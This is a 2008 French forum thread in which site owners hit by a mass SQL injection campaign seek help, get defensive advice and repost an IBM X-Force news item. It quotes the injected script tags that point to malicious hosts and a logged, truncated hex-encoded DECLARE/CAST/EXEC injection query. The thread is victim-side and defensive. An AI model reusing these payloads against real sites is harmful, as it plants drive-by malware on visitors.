hack via sql ?

[casa51]

Bonjour,
J ai un site associatif qui tourne depuis 5 ans sous sql 2000
1 base avec 10 tables 1 connections spécifique
Je me connecte a cette base via des pages asp 3.0 via une include connection de type :
MM_SQL_STRING = "Provider=SQLOLEDB;Data Source=(local);Initial Catalog=mabase;User ID=user;Password=password;"
Cet utilisateur peux lire modifier supprimer ce qui l veux dans cette database.
Voila je viens de voir tristement que ma base est complètement corrompue avec cette chaine après des données exemple :
Titre article<script+src=http://9i5t.cn/a.js></script>
sujet article<script+src=http://9i5t.cn/a.js></script>
et ce dans toutes les tables !!!! Même des tables de sauvegarde qui ne sont pas appeler du site
quelqu'un peux m aider a y voir plus clair j ai dessuite change le password de l’user mais bon je doute que ca fasse grand-chose
c’est de sql injection ou voyer vous autre chose sachant que j ai d’autre base qui non pas été toucher.

Cordialement Fred

[SQLpro]

Il s'agit d'injection de SQL à l'évidence.
1) protégez votre base par DES accès et DES utilisateurs SQL pourvus de privilèges, et non par le compte SA
2) si vous utilisez du SQL dynamique, vérifiez les valeurs entrées avant de construire votre chaîne de caractère. En particulier limitez le nombre de caractères au plus strict.
3) analysez les chaînes de caractères constituant des paramètres d'objet à la recherche de motifs comme CAST, sys, etc...
4) évitez le SQL dynamique. Si votre base est bien modélisée il est rare d'avoir besoin de faire appel à du SQL dynamique.

A +

[casa51]

Envoyé par SQLpro

Il s'agit d'injection de SQL à l'évidence.
1) protégez votre base par DES accès et DES utilisateurs SQL pourvus de privilèges, et non par le compte SA
2) si vous utilisez du SQL dynamique, vérifiez les valeurs entrées avant de construire votre chaîne de caractère. En particulier limitez le nombre de caractères au plus strict.
3) analysez les chaînes de caractères constituant des paramètres d'objet à la recherche de motifs comme CAST, sys, etc...
4) évitez le SQL dynamique. Si votre base est bien modélisée il est rare d'avoir besoin de faire appel à du SQL dynamique.

A +

Tu dit : protégez votre base par DES accès et DES utilisateurs SQL pourvus de privilèges, et non par le compte SA

Si je comprends bien je devrais laisser la base consultable via une connexion publique ou autre (qui n’aurais aucun privilège seulement lecture) front office
Et utiliser une autre connexion qui ne servirai que dans le back office (avec autorisation de modification supp … )
C’est cela ?

Par contre sql dynamique hmmm tu peux m’éclairer un peux plus
merci pour tout encore

[Samath]

Bonjour
j'eu le meme probleme que casa51, il nous a prit de court, nous n'avons pas le temps de purger tout nos codages. j'aimerai bien proteger ma base en attendant. j'ai seulement 4 tables autorisées update et insert. peut-on mettre un trigger sur chaque table, rechercher les caracteres indesirables, si existe faire un rollback?
je ne suis pas un expert de triggers, pourriez-vous m'aider?

[anatole44]

Idem, j'ai subit une intrusion ce week-end, une source de script dans plusieurs tables. la source se trouve sur "www.bigadnet.com/b.js". J'ai fait une recherche sur google :

Code :

1
2
 
un total d'environ 15 700 pour "www.bigadnet.com/b.js"

pas mal de sites semblent touchés.

Comment ont-ils fait pour ce type d'intrusion ?

Quelles types de parades adopter ?

[anatole44]

Suite. Je suis toujours dans la panade :

Renouveau des attaques par injection SQL, selon IBM
Les attaques par SQL injection sont banales. Elles atteignent un niveau de virulence inédit sur toute la planète, selon les experts en sécurité d'IBM.

Une attaque par injection SQL entre dans sa troisième phase, selon IBM. Elle a déjà affecté un demi-million de sites Web dans le monde. L'offensive a débuté en janvier dernier à petite échelle. En avril, les pirates ont modifié leurs méthodes pour contourner les mesures de sécurité et le nombre d'attaques a grimpé en flèche.

Une attaque dirigée contre la base SQL du site Web
Cette troisième vague, lancée il y a deux semaines, déjoue plus facilement les protections. « J'ai traqué de telles attaques durant les six dernières années. Celle-ci est l'une des plus complexes et embrouillées que je n'ai jamais vues, affirme David Dewey, directeur de recherche à l'X-Force, chez IBM. L'injection SQL est une attaque dirigée contre la base de données d'une application Web et dans laquelle on exécute des commandes SQL non autorisées en profitant de failles dans le code. Elle est l'une des plus communes sur le Web, notamment parce qu'un navigateur et quelques connaissances dans les requêtes SQL suffisent.

Des pages Web qui tentent de télécharger des codes malicieux
« Les attaques récentes sont extrêmement complexes et difficiles à détecter avant qu'il ne soit trop tard, avoue David Dewey. Un site britannique de publicité et de marketing, Autoweb, victime d'une récente attaque par injection SQL, n'a pu redémarrer qu'à l'issue d'une série de contre-mesures visant à bloquer les adresses IP en Chine d'où provenaient les attaques. Un développeur a dû colmater ses failles. Trente caractères avaient été injectés dans une ligne de commande afin d'écraser le contenu. L'attaque avait laissé des pages Web opérationnelles afin qu'elles injectent du code malicieux dans les navigateurs Web des internautes. Au quotidien, les pirates recherchent à travers le monde les sites Web vulnérables à ce type d'attaques. Nombre de sites de commerce en ligne en ont été victimes. Les internautes qui se connectent à ces sites infectés sont redirigés vers des sites pirates. Ceux-ci attaquent le PC du visiteur, tentant de multiples incursions.

Un serveur détourné en 30 minutes
Si l'une d'elles réussit, un logiciel est téléchargé sur le PC afin d'en faire, à l'insu de son propriétaire, une machine « zombie » qui vient renforcer le réseau pirate (botnet). Celui-ci lance à son tour de nouvelles attaques injection SQL. « Cela se propage si vite, qu'il n'y guère de moyen de l'empêcher. J'ai vu un cas où un tel serveur était détourné en moins de 30 minutes, reconnaît David Dewey. L'un de ces réseaux pirates, Asprox, spécialisé dans l'envoi de spams destinés au pishing, envoie une pseudo mise à jour aux PC qu'il tente de contrôler, signale Joe Stewart, directeur de recherche sur les logiciels malveillants chez Secureworks (Atlanta).

Une attaque venant de 1000 serveurs chinois
Cette pseudo mise à jour prend la forme d'un exécutable « msscntr32.exe », censé installer un service Windows : « Microsoft Security Center Extension ». En réalité, cet exécutable installe un outil d'attaque injection SQL. Il a même utilisé le moteur de recherche de Google pour trouver des sites potentiellement vulnérables. Joe Stewart a comptabilisé 1.000 sites attaqués par injection SQL en trois jours. La plupart se trouvent aux Etats-Unis. F-Secure ou Symantec pointent du doigt des pirates chinois. Pourtant, les sites chinois et taïwanais ne sont pas eux-mêmes à l'abri de telles attaques. Un prestataire taïwanais a recensé plusieurs milliers de sites infectés. Détectée le 13 mai, l'attaque provenait d'une ferme de serveurs installés en Chine dont les adresses IP n'étaient même pas cachées, commente Wayne Huang, P-DG d'Armorize Technologies, installée à Taipeh. « Cette attaque provenait de 1000 serveurs et exploitait une dizaine de failles d'Internet Explorer et d'extensions très prisées en Asie. Et même si les pirates ne parviennent pas toujours à introduire un logiciel malveillant, ils détruisent de nombreux sites par leurs attaques, conclut-t-il.

Source : Reseaux-Telecoms

[anatole44]

Bonjour, et désolé de polluer le forum, mais j'espère que ces posts peuvent en aider certains.

Suite : ou comment filtrer les requêtes

SQL Injection Programming Help and Protection

June 4th, 2008 - Hello fellow programmers:

There are many articles on how SQL injection attack is delivered but not too much actual code for protection. I wanted to post here simple filter functions that can help other programmers to secure their ASP (or other type of code - the functions can be easily translated to any other language.)

The idea is that ANY form field where data can be entered (with a form action to an ASP page that process the form and does SQL) or any query string parameter you can pass to an asp (in the form of bla.asp?p1=somedata&p2=somedata etc.) must be filtered by the function for evidence of SQL attack. The following SqFilter function (below) has been working pretty well against the said SQL attacks which also hit our applications daily since late May!

Your job as the programmer is to grab ANY parameter coming from query string or from a form and run that thru the SqFilter function. This function calls some other ones including logging etc.

So, say you have a simple form for users to log into your site with 2 fields called username & password and the action is some ASP that reads those values, constructs an SQL statement and checks against your user's table to see if the user exists. This is classic grounds for SQL Injection attacks!

In the ASP action for the form, where you retrieve the fields, you should have something like:

username = SqFilter(Request.Form("username"))
password = SqFilter(Request.Form("password"))

if the ASP takes Query String parameters like: someasp.asp?par1=value1&par2=value2 you must also protect those parameters by running it via the filter like:

par1 = SqFilter(Request.QueryString("par1"))
par2 = SqFilter(Request.QueryString("par2"))

Now for the actual filter system:

Code :

I hope this helps!

Amir Segal, programmer asegal21@hotmail.com

Source : http://www.cheergallery.com/SQLInjectionHelp.html

[anatole44]

Suite : j'utilise la fonction précédente, et je me retrouve avec des logs de ce genre

Code :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 
18/06/2008 15:48:19
----------------------------
http_user_agent : Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
remote_addr : 213.6.195.212
remote_host : 213.6.195.212
request_method : GET
server_name : XXX
server_port : 80
SCRIPT_NAME : /app/fiches/produit.asp
QUERY_STRING : codeProduit=8539;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434  ..... %20AS%20VARCHAR(4000));EXEC(@S);--
----------------------------
)
8539;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524 ...  AS VARCHAR(4000));EXEC(@S);--
 
============================

Il s'agit bien d'injection SQL.